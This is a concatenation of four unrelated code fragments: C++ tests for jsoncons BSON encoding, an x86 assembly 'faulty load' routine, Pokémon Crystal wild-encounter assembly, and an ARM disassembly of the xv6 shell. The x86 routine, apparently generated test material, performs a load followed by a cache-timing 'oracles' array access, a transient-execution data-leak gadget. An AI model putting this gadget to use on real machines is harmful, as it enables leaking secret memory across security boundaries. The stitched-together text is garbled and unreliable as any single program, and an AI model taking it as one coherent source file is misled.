}
REQUIRE(s == std::string("a"));
source.read(buf, sizeof(int64_t));
auto val = jsoncons::detail::little_to_native<int64_t>(buf, sizeof(int64_t));
CHECK(val == 100000000000000ULL);
result = source.get_character();
REQUIRE(result);
CHECK(result.value() == 0);
CHECK(source.eof());
std::vector<char> bytes2;
std::map<std::string, int64_t> m{ {"a", val} };
REQUIRE_NOTHROW(bson::encode_bson(m, bytes2));
CHECK(bytes2 == bytes);
auto m2 = bson::decode_bson<std::map<std::string, int64_t>>(bytes);
CHECK(m2 == m);
}
SECTION("double")
{
std::string in_file = "./bson/input/test20.bson";
std::vector<char> bytes = read_bytes(in_file);
std::vector<char> bytes2;
std::map<std::string, double> m = { {"double", 123.4567} };
REQUIRE_NOTHROW(bson::encode_bson(m, bytes2));
CHECK(bytes2 == bytes);
auto m2 = bson::decode_bson<std::map<std::string, double>>(bytes);
CHECK(m2 == m);
}
SECTION("bool")
{
std::string in_file = "./bson/input/test19.bson";
std::vector<char> bytes = read_bytes(in_file);
std::vector<char> bytes2;
std::map<std::string, bool> m = { {"bool", true} };
REQUIRE_NOTHROW(bson::encode_bson(m, bytes2));
CHECK(bytes2 == bytes);
auto m2 = bson::decode_bson<std::map<std::string, bool>>(bytes);
CHECK(m2 == m);
}
SECTION("array")
{
std::string in_file = "./bson/input/test23.bson";
std::vector<char> bytes = read_bytes(in_file);
std::vector<char> bytes2;
ojson a(json_array_arg);
a.push_back("hello");
a.push_back("world");
ojson b;
b["array"] = std::move(a);
REQUIRE_NOTHROW(bson::encode_bson(b, bytes2));
CHECK(bytes2 == bytes);
auto b2 = bson::decode_bson<ojson>(bytes);
CHECK(b2 == b);
}
SECTION("binary")
{
std::string in_file = "./bson/input/test24.bson";
std::vector<char> bytes = read_bytes(in_file);
std::vector<char> bytes2;
std::vector<uint8_t> bstr = {'1', '2', '3', '4'};
json b;
b.try_emplace("binary", byte_string_arg, bstr, 0x80);
REQUIRE_NOTHROW(bson::encode_bson(b, bytes2));
//std::cout << byte_string_view(bytes2) << "\n\n";
//std::cout << byte_string_view(bytes) << "\n\n";
CHECK(bytes2 == bytes);
auto b2 = bson::decode_bson<json>(bytes);
CHECK(b2 == b);
}
SECTION("binary (jsoncons default)")
{
std::string in_file = "./bson/input/test24.bson";
std::vector<char> bytes = read_bytes(in_file);
std::vector<char> bytes2;
std::vector<uint8_t> bstr = {'1', '2', '3', '4'};
json b;
b.try_emplace("binary", byte_string_arg, bstr); // default subtype is user defined
REQUIRE_NOTHROW(bson::encode_bson(b, bytes2));
//std::cout << byte_string_view(bytes2) << "\n\n";
//std::cout << byte_string_view(bytes) << "\n\n";
CHECK(bytes2 == bytes);
auto b2 = bson::decode_bson<json>(bytes);
CHECK(b2 == b);
}
SECTION("null")
{
std::string in_file = "./bson/input/test18.bson";
std::vector<char> bytes = read_bytes(in_file);
json j;
j.try_emplace("hello", null_type());
std::vector<char> bytes2;
REQUIRE_NOTHROW(bson::encode_bson(j, bytes2));
//std::cout << byte_string_view(bytes2) << "\n\n";
//std::cout << byte_string_view(bytes) << "\n\n";
CHECK(bytes2 == bytes);
auto b2 = bson::decode_bson<json>(bytes);
CHECK(b2 == j);
}
SECTION("utf8")
{
std::string in_file = "./bson/input/test11.bson";
std::vector<char> bytes = read_bytes(in_file);
json j;
j.try_emplace("hello", "world");
std::vector<char> bytes2;
REQUIRE_NOTHROW(bson::encode_bson(j, bytes2));
//std::cout << byte_string_view(bytes2) << "\n\n";
//std::cout << byte_string_view(bytes) << "\n\n";
CHECK(bytes2 == bytes);
auto b2 = bson::decode_bson<json>(bytes);
CHECK(b2 == j);
}
SECTION("document")
{
std::string in_file = "./bson/input/test21.bson";
std::vector<char> bytes = read_bytes(in_file);
json b;
b.try_emplace("document", json());
std::vector<char> bytes2;
REQUIRE_NOTHROW(bson::encode_bson(b, bytes2));
//std::cout << byte_string_view(bytes2) << "\n\n";
//std::cout << byte_string_view(bytes) << "\n\n";
CHECK(bytes2 == bytes);
auto b2 = bson::decode_bson<json>(bytes);
CHECK(b2 == b);
}
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1b5c7, %rsi
lea addresses_A_ht+0x10e97, %rdi
nop
nop
nop
nop
xor %r9, %r9
mov $126, %rcx
rep movsb
nop
nop
cmp $7105, %rbp
lea addresses_WT_ht+0x1155c, %rcx
lfence
movups (%rcx), %xmm3
vpextrq $0, %xmm3, %rsi
sub %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_WC+0xd7a7, %rsi
mov $0x3b51b00000000647, %rdi
nop
nop
xor $48265, %rbx
mov $4, %rcx
rep movsw
nop
add $61492, %rbx
// Store
lea addresses_D+0x104c7, %r15
nop
nop
nop
nop
cmp $18928, %rax
movl $0x51525354, (%r15)
nop
nop
dec %r15
// Store
lea addresses_PSE+0xf147, %rdi
clflush (%rdi)
nop
nop
nop
inc %rsi
movb $0x51, (%rdi)
nop
nop
nop
add %rdi, %rdi
// Store
mov $0x19d61c0000000b87, %rdi
nop
nop
nop
nop
nop
inc %rsi
movb $0x51, (%rdi)
nop
xor $39071, %rsi
// Store
lea addresses_RW+0x167a7, %r15
xor $46948, %rbx
mov $0x5152535455565758, %r13
movq %r13, (%r15)
nop
dec %r15
// Store
mov $0x18084a0000000247, %r15
nop
cmp %rsi, %rsi
mov $0x5152535455565758, %rbx
movq %rbx, %xmm1
vmovaps %ymm1, (%r15)
nop
nop
nop
cmp $14413, %r15
// Faulty Load
mov $0x18084a0000000247, %r15
nop
nop
nop
nop
xor $11000, %rcx
vmovups (%r15), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rbx
lea oracles, %r13
and $0xff, %rbx
shlq $12, %rbx
mov (%r13,%rbx,1), %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_NC', 'congruent': 0}}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_NC'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_PSE', 'congruent': 7}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_NC', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_RW', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': True, 'NT': True, 'AVXalign': True, 'size': 32, 'type': 'addresses_NC', 'congruent': 0}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 0}}
{'58': 8, '00': 1}
00 58 58 58 58 58 58 58 58
*/
|
LoadWildMonData:
call _GrassWildmonLookup
jr c, .copy
ld hl, wMornEncounterRate
xor a
ld [hli], a
ld [hli], a
ld [hl], a
jr .done_copy
.copy
inc hl
inc hl
ld de, wMornEncounterRate
ld bc, 3
call CopyBytes
.done_copy
call _WaterWildmonLookup
ld a, 0
jr nc, .no_copy
inc hl
inc hl
ld a, [hl]
.no_copy
ld [wWaterEncounterRate], a
ret
FindNest:
; Parameters:
; e: 0 = Johto, 1 = Kanto
; wNamedObjectIndexBuffer: species
hlcoord 0, 0
ld bc, SCREEN_WIDTH * SCREEN_HEIGHT
xor a
call ByteFill
ld a, [wNamedObjectIndexBuffer]
call GetPokemonIndexFromID
ld b, h
ld c, l
ld a, e
and a
jr nz, .kanto
decoord 0, 0
ld hl, JohtoGrassWildMons
call .FindGrass
ld hl, JohtoWaterWildMons
call .FindWater
call .RoamMon1
call .RoamMon2
ret
.kanto
decoord 0, 0
ld hl, KantoGrassWildMons
call .FindGrass
ld hl, KantoWaterWildMons
jp .FindWater
.FindGrass:
ld a, [hl]
cp -1
ret z
push bc
push hl
; use the math buffers as storage, since we're not doing any math
ld a, [hli]
ldh [hMathBuffer], a
ld a, [hli]
ldh [hMathBuffer + 1], a
inc hl
inc hl
inc hl
ld a, NUM_GRASSMON * 3
call .SearchMapForMon
jr nc, .next_grass
ld [de], a
inc de
.next_grass
pop hl
ld bc, GRASS_WILDDATA_LENGTH
add hl, bc
pop bc
jr .FindGrass
.FindWater:
ld a, [hl]
cp -1
ret z
push bc
push hl
; use the math buffers as storage, since we're not doing any math
ld a, [hli]
ldh [hMathBuffer], a
ld a, [hli]
ldh [hMathBuffer + 1], a
inc hl
ld a, NUM_WATERMON
call .SearchMapForMon
jr nc, .next_water
ld [de], a
inc de
.next_water
pop hl
ld bc, WATER_WILDDATA_LENGTH
add hl, bc
pop bc
jr .FindWater
.SearchMapForMon:
inc hl
.ScanMapLoop:
push af
ld a, [hli]
cp c
ld a, [hli]
jr nz, .next_mon
cp b
jr z, .found
.next_mon
inc hl
pop af
dec a
jr nz, .ScanMapLoop
and a
ret
.found
pop af
ldh a, [hMathBuffer]
ld b, a
ldh a, [hMathBuffer + 1]
ld c, a
.AppendNest:
push de
call GetWorldMapLocation
ld c, a
hlcoord 0, 0
ld de, SCREEN_WIDTH * SCREEN_HEIGHT
.AppendNestLoop:
ld a, [hli]
cp c
jr z, .found_nest
dec de
ld a, e
or d
jr nz, .AppendNestLoop
ld a, c
pop de
scf
ret
.found_nest
pop de
and a
ret
.RoamMon1:
ld a, [wRoamMon1Species]
ld b, a
ld a, [wNamedObjectIndexBuffer]
cp b
ret nz
ld a, [wRoamMon1MapGroup]
ld b, a
ld a, [wRoamMon1MapNumber]
ld c, a
call .AppendNest
ret nc
ld [de], a
inc de
ret
.RoamMon2:
ld a, [wRoamMon2Species]
ld b, a
ld a, [wNamedObjectIndexBuffer]
cp b
ret nz
ld a, [wRoamMon2MapGroup]
ld b, a
ld a, [wRoamMon2MapNumber]
ld c, a
call .AppendNest
ret nc
ld [de], a
inc de
ret
TryWildEncounter::
; Try to trigger a wild encounter.
call .EncounterRate
jr nc, .no_battle
call ChooseWildEncounter
jr nz, .no_battle
call CheckRepelEffect
jr nc, .no_battle
xor a
ret
.no_battle
xor a ; BATTLETYPE_NORMAL
ld [wTempWildMonSpecies], a
ld [wBattleType], a
ld a, 1
and a
ret
.EncounterRate:
call GetMapEncounterRate
call ApplyMusicEffectOnEncounterRate
call ApplyCleanseTagEffectOnEncounterRate
call Random
cp b
ret
GetMapEncounterRate:
ld hl, wMornEncounterRate
call CheckOnWater
ld a, wWaterEncounterRate - wMornEncounterRate
jr z, .ok
ld a, [wTimeOfDay]
.ok
ld c, a
ld b, 0
add hl, bc
ld b, [hl]
ret
ApplyMusicEffectOnEncounterRate::
; Pokemon March and Ruins of Alph signal double encounter rate.
; Pokemon Lullaby halves encounter rate.
ld a, [wMapMusic]
cp MUSIC_POKEMON_MARCH
jr z, .double
cp MUSIC_RUINS_OF_ALPH_RADIO
jr z, .double
cp MUSIC_POKEMON_LULLABY
ret nz
srl b
ret
.double
sla b
ret
ApplyCleanseTagEffectOnEncounterRate::
; Cleanse Tag halves encounter rate.
ld hl, wPartyMon1Item
ld de, PARTYMON_STRUCT_LENGTH
ld a, [wPartyCount]
ld c, a
.loop
ld a, [hl]
cp CLEANSE_TAG
jr z, .cleansetag
add hl, de
dec c
jr nz, .loop
ret
.cleansetag
srl b
ret
ChooseWildEncounter:
call LoadWildMonDataPointer
jp nc, .nowildbattle
call CheckEncounterRoamMon
jp c, .startwildbattle
inc hl
inc hl
inc hl
call CheckOnWater
ld de, WaterMonProbTable
jr z, .watermon
inc hl
inc hl
ld a, [wTimeOfDay]
ld bc, NUM_GRASSMON * 3
call AddNTimes
ld de, GrassMonProbTable
.watermon
; hl contains the pointer to the wild mon data, let's save that to the stack
push hl
.randomloop
call Random
cp 100
jr nc, .randomloop
inc a ; 1 <= a <= 100
ld b, a
ld h, d
ld l, e
; This next loop chooses which mon to load up.
.prob_bracket_loop
ld a, [hli]
cp b
jr nc, .got_it
inc hl
jr .prob_bracket_loop
.got_it
ld c, [hl]
ld b, 0
pop hl
add hl, bc ; this selects our mon
ld a, [hli]
ld b, a
; If the Pokemon is encountered by surfing, we need to give the levels some variety.
call CheckOnWater
jr nz, .ok
; Check if we buff the wild mon, and by how much.
call Random
cp 35 percent
jr c, .ok
inc b
cp 65 percent
jr c, .ok
inc b
cp 85 percent
jr c, .ok
inc b
cp 95 percent
jr c, .ok
inc b
; Store the level
.ok
ld a, b
ld [wCurPartyLevel], a
ld a, [hli]
ld h, [hl]
ld l, a
call ValidateTempWildMonSpecies
jr c, .nowildbattle
ld a, l
sub LOW(UNOWN)
jr nz, .done
if HIGH(UNOWN) > 1
ld a, h
cp HIGH(UNOWN)
elif HIGH(UNOWN) == 1
ld a, h
dec a
else
or h
endc
jr nz, .done
ld a, [wUnlockedUnowns]
and a
jr z, .nowildbattle
.done
call GetPokemonIDFromIndex
ld [wTempWildMonSpecies], a
.startwildbattle
xor a
ret
.nowildbattle
ld a, 1
and a
ret
INCLUDE "data/wild/probabilities.asm"
CheckRepelEffect::
; If there is no active Repel, there's no need to be here.
ld a, [wRepelEffect]
and a
jr z, .encounter
; Get the first Pokemon in your party that isn't fainted.
ld hl, wPartyMon1HP
ld bc, PARTYMON_STRUCT_LENGTH - 1
.loop
ld a, [hli]
or [hl]
jr nz, .ok
add hl, bc
jr .loop
.ok
; to PartyMonLevel
rept 4
dec hl
endr
ld a, [wCurPartyLevel]
cp [hl]
jr nc, .encounter
and a
ret
.encounter
scf
ret
LoadWildMonDataPointer:
call CheckOnWater
jr z, _WaterWildmonLookup
_GrassWildmonLookup:
ld hl, SwarmGrassWildMons
ld bc, GRASS_WILDDATA_LENGTH
call _SwarmWildmonCheck
ret c
ld hl, JohtoGrassWildMons
ld de, KantoGrassWildMons
call _JohtoWildmonCheck
ld bc, GRASS_WILDDATA_LENGTH
jr _NormalWildmonOK
_WaterWildmonLookup:
ld hl, SwarmWaterWildMons
ld bc, WATER_WILDDATA_LENGTH
call _SwarmWildmonCheck
ret c
ld hl, JohtoWaterWildMons
ld de, KantoWaterWildMons
call _JohtoWildmonCheck
ld bc, WATER_WILDDATA_LENGTH
jr _NormalWildmonOK
_JohtoWildmonCheck:
call IsInJohto
and a
ret z
ld h, d
ld l, e
ret
_SwarmWildmonCheck:
call CopyCurrMapDE
push hl
ld hl, wSwarmFlags
bit SWARMFLAGS_DUNSPARCE_SWARM_F, [hl]
pop hl
jr z, .CheckYanma
ld a, [wDunsparceMapGroup]
cp d
jr nz, .CheckYanma
ld a, [wDunsparceMapNumber]
cp e
jr nz, .CheckYanma
call LookUpWildmonsForMapDE
jr nc, _NoSwarmWildmon
scf
ret
.CheckYanma:
push hl
ld hl, wSwarmFlags
bit SWARMFLAGS_YANMA_SWARM_F, [hl]
pop hl
jr z, _NoSwarmWildmon
ld a, [wYanmaMapGroup]
cp d
jr nz, _NoSwarmWildmon
ld a, [wYanmaMapNumber]
cp e
jr nz, _NoSwarmWildmon
call LookUpWildmonsForMapDE
jr nc, _NoSwarmWildmon
scf
ret
_NoSwarmWildmon:
and a
ret
_NormalWildmonOK:
call CopyCurrMapDE
jr LookUpWildmonsForMapDE
CopyCurrMapDE:
ld a, [wMapGroup]
ld d, a
ld a, [wMapNumber]
ld e, a
ret
LookUpGrassJohtoWildmons::
ld hl, JohtoGrassWildMons
ld bc, GRASS_WILDDATA_LENGTH
LookUpWildmonsForMapDE:
.loop
push hl
ld a, [hl]
inc a
jr z, .nope
ld a, d
cp [hl]
jr nz, .next
inc hl
ld a, e
cp [hl]
jr z, .yup
.next
pop hl
add hl, bc
jr .loop
.nope
pop hl
and a
ret
.yup
pop hl
scf
ret
InitRoamMons:
; initialize wRoamMon structs
; species
ld hl, RAIKOU
call GetPokemonIDFromIndex
ld [wRoamMon1Species], a
ld hl, ENTEI
call GetPokemonIDFromIndex
ld [wRoamMon2Species], a
; level
ld a, 40
ld [wRoamMon1Level], a
ld [wRoamMon2Level], a
; raikou starting map
ld a, GROUP_ROUTE_42
ld [wRoamMon1MapGroup], a
ld a, MAP_ROUTE_42
ld [wRoamMon1MapNumber], a
; entei starting map
ld a, GROUP_ROUTE_37
ld [wRoamMon2MapGroup], a
ld a, MAP_ROUTE_37
ld [wRoamMon2MapNumber], a
; hp
xor a ; generate new stats
ld [wRoamMon1HP], a
ld [wRoamMon2HP], a
ret
CheckEncounterRoamMon:
push hl
; Don't trigger an encounter if we're on water.
call CheckOnWater
jr z, .DontEncounterRoamMon
; Load the current map group and number to de
call CopyCurrMapDE
; Randomly select a beast.
call Random
cp 100 ; 25/64 chance
jr nc, .DontEncounterRoamMon
and %00000011 ; Of that, a 3/4 chance. Running total: 75/256, or around 29.3%.
jr z, .DontEncounterRoamMon
dec a ; 1/3 chance that it's Entei, 1/3 chance that it's Raikou
; Compare its current location with yours
ld hl, wRoamMon1MapGroup
ld c, a
ld b, 0
ld a, 7 ; length of the roam_struct
call AddNTimes
ld a, d
cp [hl]
jr nz, .DontEncounterRoamMon
inc hl
ld a, e
cp [hl]
jr nz, .DontEncounterRoamMon
; We've decided to take on a beast, so stage its information for battle.
dec hl
dec hl
dec hl
ld a, [hli]
ld [wTempWildMonSpecies], a
ld a, [hl]
ld [wCurPartyLevel], a
ld a, BATTLETYPE_ROAMING
ld [wBattleType], a
pop hl
scf
ret
.DontEncounterRoamMon:
pop hl
and a
ret
UpdateRoamMons:
ld a, [wRoamMon1MapGroup]
cp GROUP_N_A
jr z, .SkipRaikou
ld b, a
ld a, [wRoamMon1MapNumber]
ld c, a
call .Update
ld a, b
ld [wRoamMon1MapGroup], a
ld a, c
ld [wRoamMon1MapNumber], a
.SkipRaikou:
ld a, [wRoamMon2MapGroup]
cp GROUP_N_A
jr z, .SkipEntei
ld b, a
ld a, [wRoamMon2MapNumber]
ld c, a
call .Update
ld a, b
ld [wRoamMon2MapGroup], a
ld a, c
ld [wRoamMon2MapNumber], a
.SkipEntei:
ld a, [wRoamMon3MapGroup]
cp GROUP_N_A
jr z, .Finished
ld b, a
ld a, [wRoamMon3MapNumber]
ld c, a
call .Update
ld a, b
ld [wRoamMon3MapGroup], a
ld a, c
ld [wRoamMon3MapNumber], a
.Finished:
jp _BackUpMapIndices
.Update:
ld hl, RoamMaps
.loop
; Are we at the end of the table?
ld a, [hl]
cp -1
ret z
; Is this the correct entry?
ld a, b
cp [hl]
jr nz, .next
inc hl
ld a, c
cp [hl]
jr z, .yes
; We don't have the correct entry yet, so let's continue. A 0 terminates each entry.
.next
ld a, [hli]
and a
jr nz, .next
jr .loop
; We have the correct entry now, so let's choose a random map from it.
.yes
inc hl
ld d, h
ld e, l
.update_loop
ld h, d
ld l, e
; Choose which map to warp to.
call Random
and %00011111 ; 1/8n chance it moves to a completely random map, where n is the number of roaming connections from the current map.
jr z, JumpRoamMon
and %11
cp [hl]
jr nc, .update_loop ; invalid index, try again
inc hl
ld c, a
ld b, 0
add hl, bc
add hl, bc
ld a, [wRoamMons_LastMapGroup]
cp [hl]
jr nz, .done
inc hl
ld a, [wRoamMons_LastMapNumber]
cp [hl]
jr z, .update_loop
dec hl
.done
ld a, [hli]
ld b, a
ld c, [hl]
ret
JumpRoamMons:
ld a, [wRoamMon1MapGroup]
cp GROUP_N_A
jr z, .SkipRaikou
call JumpRoamMon
ld a, b
ld [wRoamMon1MapGroup], a
ld a, c
ld [wRoamMon1MapNumber], a
.SkipRaikou:
ld a, [wRoamMon2MapGroup]
cp GROUP_N_A
jr z, .SkipEntei
call JumpRoamMon
ld a, b
ld [wRoamMon2MapGroup], a
ld a, c
ld [wRoamMon2MapNumber], a
.SkipEntei:
ld a, [wRoamMon3MapGroup]
cp GROUP_N_A
jr z, .Finished
call JumpRoamMon
ld a, b
ld [wRoamMon3MapGroup], a
ld a, c
ld [wRoamMon3MapNumber], a
.Finished:
jp _BackUpMapIndices
JumpRoamMon:
.loop
ld hl, RoamMaps
.innerloop1 ; This loop happens to be unnecessary.
call Random ; Choose a random number.
maskbits NUM_ROAMMON_MAPS ; Mask the number to limit it between 0 and 15.
cp NUM_ROAMMON_MAPS ; If the number is not less than 16, try again.
jr nc, .innerloop1 ; I'm sure you can guess why this check is bogus.
inc a
ld b, a
.innerloop2 ; Loop to get hl to the address of the chosen roam map.
dec b
jr z, .ok
.innerloop3 ; Loop to skip the current roam map, which is terminated by a 0.
ld a, [hli]
and a
jr nz, .innerloop3
jr .innerloop2
; Check to see if the selected map is the one the player is currently in. If so, try again.
.ok
ld a, [wMapGroup]
cp [hl]
jr nz, .done
inc hl
ld a, [wMapNumber]
cp [hl]
jr z, .loop
dec hl
; Return the map group and number in bc.
.done
ld a, [hli]
ld b, a
ld c, [hl]
ret
_BackUpMapIndices:
ld a, [wRoamMons_CurMapNumber]
ld [wRoamMons_LastMapNumber], a
ld a, [wRoamMons_CurMapGroup]
ld [wRoamMons_LastMapGroup], a
ld a, [wMapNumber]
ld [wRoamMons_CurMapNumber], a
ld a, [wMapGroup]
ld [wRoamMons_CurMapGroup], a
ret
INCLUDE "data/wild/roammon_maps.asm"
ValidateTempWildMonSpecies:
ld a, h
or l
scf
ret z
ld a, h
if LOW(NUM_POKEMON) == $FF
cp HIGH(NUM_POKEMON) + 1
else
cp HIGH(NUM_POKEMON)
ccf
ret nz
ld a, l
cp LOW(NUM_POKEMON) + 1
endc
ccf
ret
GetCallerRouteWildGrassMons:
farcall GetCallerLocation
ld d, b
ld e, c
ld hl, JohtoGrassWildMons
ld bc, GRASS_WILDDATA_LENGTH
call LookUpWildmonsForMapDE
jr c, .found
ld hl, KantoGrassWildMons
call LookUpWildmonsForMapDE
ret nc ; no carry = no grass wild mons for that route
.found
ld bc, 5 ; skip the map ID and encounter rates
add hl, bc
ld a, [wTimeOfDay]
ld bc, NUM_GRASSMON * 3
call AddNTimes
scf
ret
; Finds a rare wild Pokemon in the route of the trainer calling, then checks if it's been Seen already.
; The trainer will then tell you about the Pokemon if you haven't seen it.
RandomUnseenWildMon:
call GetCallerRouteWildGrassMons
jr nc, .done
push hl
.randloop1
call Random
and %11
jr z, .randloop1
ld bc, 10 ; skip three mons plus the level of the fourth
add hl, bc
ld c, a
add hl, bc
add hl, bc
add hl, bc
; We now have the pointer to one of the last (rarest) three wild Pokemon found in that area.
; Load the species index of this rare Pokemon
ld a, [hli]
ld d, [hl]
ld e, a
pop hl
inc hl ; Species index of the most common Pokemon on that route
ld b, 4
.loop2
ld a, [hli]
cp e ; Compare this common Pokemon with the rare one stored in de.
ld a, [hli]
jr nz, .next
cp d
jr z, .done
.next
inc hl
dec b
jr nz, .loop2
; This Pokemon truly is rare.
push de
call CheckSeenMonIndex
pop bc
jr nz, .done
; Since we haven't seen it, have the caller tell us about it.
ld de, wStringBuffer1
call CopyName1
ld h, b
ld l, c
call GetPokemonIDFromIndex
ld [wNamedObjectIndexBuffer], a
call GetPokemonName
ld hl, .SawRareMonText
call PrintText
xor a
ld [wScriptVar], a
ret
.done
ld a, $1
ld [wScriptVar], a
ret
.SawRareMonText:
; I just saw some rare @ in @ . I'll call you if I see another rare #MON, OK?
text_far _JustSawSomeRareMonText
text_end
RandomPhoneWildMon:
call GetCallerRouteWildGrassMons
call Random
and %11
ld c, a
ld b, 0
add hl, bc
add hl, bc
add hl, bc
inc hl
ld a, [hli]
ld h, [hl]
ld l, a
call GetPokemonIDFromIndex
ld [wNamedObjectIndexBuffer], a
call GetPokemonName
ld hl, wStringBuffer1
ld de, wStringBuffer4
ld bc, MON_NAME_LENGTH
jp CopyBytes
RandomPhoneMon:
; Get a random monster owned by the trainer who's calling.
farcall GetCallerLocation
ld hl, TrainerGroups
ld a, d
dec a
ld c, a
ld b, 0
add hl, bc
add hl, bc
add hl, bc
ld a, BANK(TrainerGroups)
call GetFarByte
ld [wTrainerGroupBank], a
inc hl
ld a, BANK(TrainerGroups)
call GetFarHalfword
.skip_trainer
dec e
jr z, .skipped
.skip
ld a, [wTrainerGroupBank]
call GetFarByte
add a, l
ld l, a
jr nc, .skip_trainer
inc h
jr .skip_trainer
.skipped
inc hl
.skip_name
ld a, [wTrainerGroupBank]
call GetFarByte
inc hl
cp "@"
jr nz, .skip_name
ld a, [wTrainerGroupBank]
call GetFarByte
inc hl
ld c, a
ld a, 3
bit TRAINERTYPE_ITEM_F, c
jr z, .no_item
inc a
.no_item
bit TRAINERTYPE_MOVES_F, c
jr z, .no_moves
add a, NUM_MOVES * 2
.no_moves
ld c, a
ld b, 0
ld e, b
push hl
.count_mon
inc e
add hl, bc
ld a, [wTrainerGroupBank]
call GetFarByte
cp -1
jr nz, .count_mon
pop hl
.rand
call Random
maskbits PARTY_LENGTH
cp e
jr nc, .rand
inc a
.get_mon
dec a
jr z, .got_mon
add hl, bc
jr .get_mon
.got_mon
inc hl ; species
ld a, [wTrainerGroupBank]
call GetFarHalfword
call GetPokemonIDFromIndex
ld [wNamedObjectIndexBuffer], a
call GetPokemonName
ld hl, wStringBuffer1
ld de, wStringBuffer4
ld bc, MON_NAME_LENGTH
jp CopyBytes
INCLUDE "data/wild/johto_grass.asm"
INCLUDE "data/wild/johto_water.asm"
INCLUDE "data/wild/kanto_grass.asm"
INCLUDE "data/wild/kanto_water.asm"
INCLUDE "data/wild/swarm_grass.asm"
INCLUDE "data/wild/swarm_water.asm"
|
_sh: file format elf32-littlearm
Disassembly of section .text:
00000000 <main>:
return 0;
}
int
main(void)
{
0: e92d4830 push {r4, r5, fp, lr}
4: e28db00c add fp, sp, #12
static char buf[100];
int fd;
// Assumes three file descriptors open.
while((fd = open("console", O_RDWR)) >= 0){
8: ea000001 b 14 <main+0x14>
if(fd >= 3){
c: e3530002 cmp r3, #2
10: ca000027 bgt b4 <main+0xb4>
{
static char buf[100];
int fd;
// Assumes three file descriptors open.
while((fd = open("console", O_RDWR)) >= 0){
14: e59f00ac ldr r0, [pc, #172] ; c8 <main+0xc8>
18: e3a01002 mov r1, #2
1c: eb0003c1 bl f28 <open>
20: e2503000 subs r3, r0, #0
24: aafffff8 bge c <main+0xc>
break;
}
}
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
28: e59f409c ldr r4, [pc, #156] ; cc <main+0xcc>
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
// Clumsy but will have to do for now.
// Chdir has no effect on the parent if run in the child.
buf[strlen(buf)-1] = 0; // chop \n
2c: e3a05000 mov r5, #0
30: ea000003 b 44 <main+0x44>
if(chdir(buf+3) < 0)
printf(2, "cannot cd %s\n", buf+3);
continue;
}
if(fork1() == 0)
34: eb000043 bl 148 <fork1>
38: e3500000 cmp r0, #0
3c: 0a00001e beq bc <main+0xbc>
runcmd(parsecmd(buf));
wait();
40: eb00035d bl dbc <wait>
break;
}
}
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
44: e59f0080 ldr r0, [pc, #128] ; cc <main+0xcc>
48: e3a01064 mov r1, #100 ; 0x64
4c: eb000021 bl d8 <getcmd>
50: e3500000 cmp r0, #0
54: ba000015 blt b0 <main+0xb0>
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
58: e5d43000 ldrb r3, [r4]
5c: e3530063 cmp r3, #99 ; 0x63
60: 1afffff3 bne 34 <main+0x34>
64: e5d43001 ldrb r3, [r4, #1]
68: e3530064 cmp r3, #100 ; 0x64
6c: 1afffff0 bne 34 <main+0x34>
70: e5d43002 ldrb r3, [r4, #2]
74: e3530020 cmp r3, #32
78: 1affffed bne 34 <main+0x34>
// Clumsy but will have to do for now.
// Chdir has no effect on the parent if run in the child.
buf[strlen(buf)-1] = 0; // chop \n
7c: e59f0048 ldr r0, [pc, #72] ; cc <main+0xcc>
80: eb0002b5 bl b5c <strlen>
84: e0843000 add r3, r4, r0
if(chdir(buf+3) < 0)
88: e59f0040 ldr r0, [pc, #64] ; d0 <main+0xd0>
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
// Clumsy but will have to do for now.
// Chdir has no effect on the parent if run in the child.
buf[strlen(buf)-1] = 0; // chop \n
8c: e5435001 strb r5, [r3, #-1]
if(chdir(buf+3) < 0)
90: eb0003f2 bl 1060 <chdir>
94: e3500000 cmp r0, #0
98: aaffffe9 bge 44 <main+0x44>
printf(2, "cannot cd %s\n", buf+3);
9c: e3a00002 mov r0, #2
a0: e59f102c ldr r1, [pc, #44] ; d4 <main+0xd4>
a4: e59f2024 ldr r2, [pc, #36] ; d0 <main+0xd0>
a8: eb000489 bl 12d4 <printf>
ac: eaffffe4 b 44 <main+0x44>
}
if(fork1() == 0)
runcmd(parsecmd(buf));
wait();
}
exit();
b0: eb000334 bl d88 <exit>
int fd;
// Assumes three file descriptors open.
while((fd = open("console", O_RDWR)) >= 0){
if(fd >= 3){
close(fd);
b4: eb000374 bl e8c <close>
break;
